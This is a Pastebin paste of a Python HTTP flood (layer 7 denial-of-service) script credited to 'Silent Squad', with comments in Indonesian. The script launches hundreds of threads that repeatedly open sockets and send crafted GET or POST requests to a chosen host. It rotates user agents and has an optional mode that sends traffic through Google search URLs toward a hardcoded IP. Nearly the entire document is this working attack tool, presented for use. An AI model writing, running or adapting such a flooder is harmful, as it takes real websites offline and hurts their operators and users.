Advertisement
Guest User

Untitled

a guest
Nov 8th, 2017
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.12 KB | None | 0 0
  1. from queue import Queue
  2. from optparse import OptionParser
  3. import time,sys,socket,threading,logging,urllib.request,random
  4.  
  5. def sedot_parameters():
  6. global ip,host,port,thr,item,referer,uri,path,method,isbot
  7. ip = "118.98.73.214"
  8. host = "www.google.com"
  9. port = 80
  10. thr = 500
  11. path = "/"
  12. uri = "/" # lokasi/halaman dimana website gk redirect lgi misalnya: /index.jsp
  13. method = "GET" # GET / POST
  14. data_post = "" # dipakai hanya untuk method = POST, misalnya: user=test&pass=test
  15. isbot=0
  16.  
  17. optp = OptionParser(add_help_option=False,epilog="Hammers")
  18. optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
  19. optp.add_option("-s","--host", dest="host",help="attack to server host --host www.target.com")
  20. optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
  21. optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 200 -t 200")
  22. optp.add_option("-a","--path",dest="path",help="default / -a /db.php")
  23. optp.add_option("-u","--uri",dest="uri",help="default / -u /index.jsp")
  24. optp.add_option("-m","--method",dest="method",help="default GET -m GET")
  25. optp.add_option("-d","--data",dest="data",help="default -d user=test&pass=test")
  26. optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
  27. opts, args = optp.parse_args()
  28. logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
  29. if opts.help:
  30. usage()
  31. if opts.host is None:
  32. usage()
  33. else:
  34. host = opts.host
  35. if opts.port is None:
  36. port = 80
  37. else:
  38. port = opts.port
  39. if opts.turbo is None:
  40. thr = 200
  41. else:
  42. thr = opts.turbo
  43. if opts.path is None:
  44. path = "/"
  45. else:
  46. path = opts.path
  47. if opts.uri is None:
  48. uri = "/"
  49. else:
  50. uri = opts.uri
  51. if opts.method is None:
  52. uri = "GET"
  53. else:
  54. uri = opts.method
  55. if opts.data is None:
  56. data_post = ""
  57. else:
  58. data_post = opts.data
  59.  
  60. def usage():
  61. print ('''
  62. -s or --host = "www.google.com"
  63. -p or --port = 80 > 80 (http) or 443 (htttps)
  64. -t or --turbo = 200 > defaul 200
  65. -a or --path = "/" > serangan spesifik
  66. -u or --uri = "/" > lokasi/halaman dimana website gk redirect lgi misalnya: /index.jsp
  67.  
  68. -m or --method = "GET" > GET / POST
  69. -d or --data = "" > dipakai hanya untuk method = POST, misalnya: user=test&pass=test
  70. ''')
  71. sys.exit()
  72.  
  73. def my_bots():
  74. global bots
  75. bots=[]
  76. #contoh bot aja bro..
  77. bot1="https://www.google.com/?q="
  78. bots.append(bot1)
  79. return(bots)
  80.  
  81. def user_agent():
  82. global uagent
  83. uagent=[]
  84. uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
  85. uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
  86. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  87. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  88. uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
  89. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  90. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  91. return(uagent)
  92.  
  93. def bot_hammering(url):
  94. try:
  95. while True:
  96. sys.stdout.write("Bot>>fire . . .")
  97. sys.stdout.write('\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b')
  98. req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
  99. time.sleep(.1)
  100. except:
  101. time.sleep(.1)
  102.  
  103. def down_it(item):
  104. try:
  105. while True:
  106. if(port==80):
  107. referer="http://"
  108. elif(port==443):
  109. referer="https://"
  110.  
  111. if(method=="GET"):
  112. packet = str("GET "+path+" HTTP/1.1\nReferer: "+referer+host+uri+"\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
  113. elif(method=="POST"):
  114. packet = str("POST "+path+" HTTP/1.1\nReferer: "+referer+host+uri+"\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data+"\n\n"+data_post).encode('utf-8')
  115. else:
  116. print("error detected")
  117.  
  118. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  119. s.connect((host,int(port)))
  120. if s.sendto( packet, (host, int(port)) ):
  121. s.shutdown(1)
  122. sys.stdout.write("Attacking . . .")
  123. sys.stdout.write('\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b')
  124.  
  125. else:
  126. s.shutdown(1)
  127. print("shut<->down")
  128. time.sleep(.1)
  129. except socket.error as e:
  130. print("no connection! server maybe down")
  131. time.sleep(.1)
  132.  
  133. def dos():
  134. while True:
  135. item = q.get()
  136. down_it(item)
  137. q.task_done()
  138.  
  139.  
  140. def dos2():
  141. while True:
  142. item=w.get()
  143. bot_hammering(random.choice(bots)+ip)
  144. w.task_done()
  145.  
  146.  
  147. def exit():
  148. sys.exit()
  149.  
  150. global data
  151. data ='''Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  152. Accept-Language: en-us,en;q=0.5
  153. Accept-Encoding: gzip,deflate
  154. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  155. Keep-Alive: 115
  156. Connection: keep-alive''';
  157.  
  158. #task queue are q,w
  159. q = Queue()
  160. w = Queue()
  161.  
  162. if __name__ == '__main__':
  163. sedot_parameters()
  164. print("")
  165. print("------------------------------")
  166. print("Layer 7 Attack By Silent Squad")
  167. print("Authors : Trek")
  168. print("------------------------------")
  169. print("")
  170. print("Target Lock In :")
  171. print("Web: ",host)
  172. print("Port: ",str(port))
  173. print("Turbo: ",str(thr))
  174. print("URI: ",uri)
  175. print("Specific to : ",path)
  176. print("")
  177. print("Please wait . . .\n")
  178. user_agent()
  179. my_bots()
  180. time.sleep(5)
  181. try:
  182. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  183. s.connect((host,int(port)))
  184. s.settimeout(1)
  185. except socket.error as e:
  186. print("check server ip and port")
  187. exit()
  188. while True:
  189. for i in range(int(thr)):
  190. t = threading.Thread(target=dos)
  191. t.daemon = True
  192. t.start()
  193. if(isbot==1):
  194. t2 = threading.Thread(target=dos2)
  195. t2.daemon = True
  196. t2.start()
  197. start = time.time()
  198. #tasking
  199. item = 0
  200. while True:
  201. if (item>1800):
  202. item=0
  203. time.sleep(.1)
  204. item = item + 1
  205. q.put(item)
  206. w.put(item)
  207. q.join()
  208. w.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement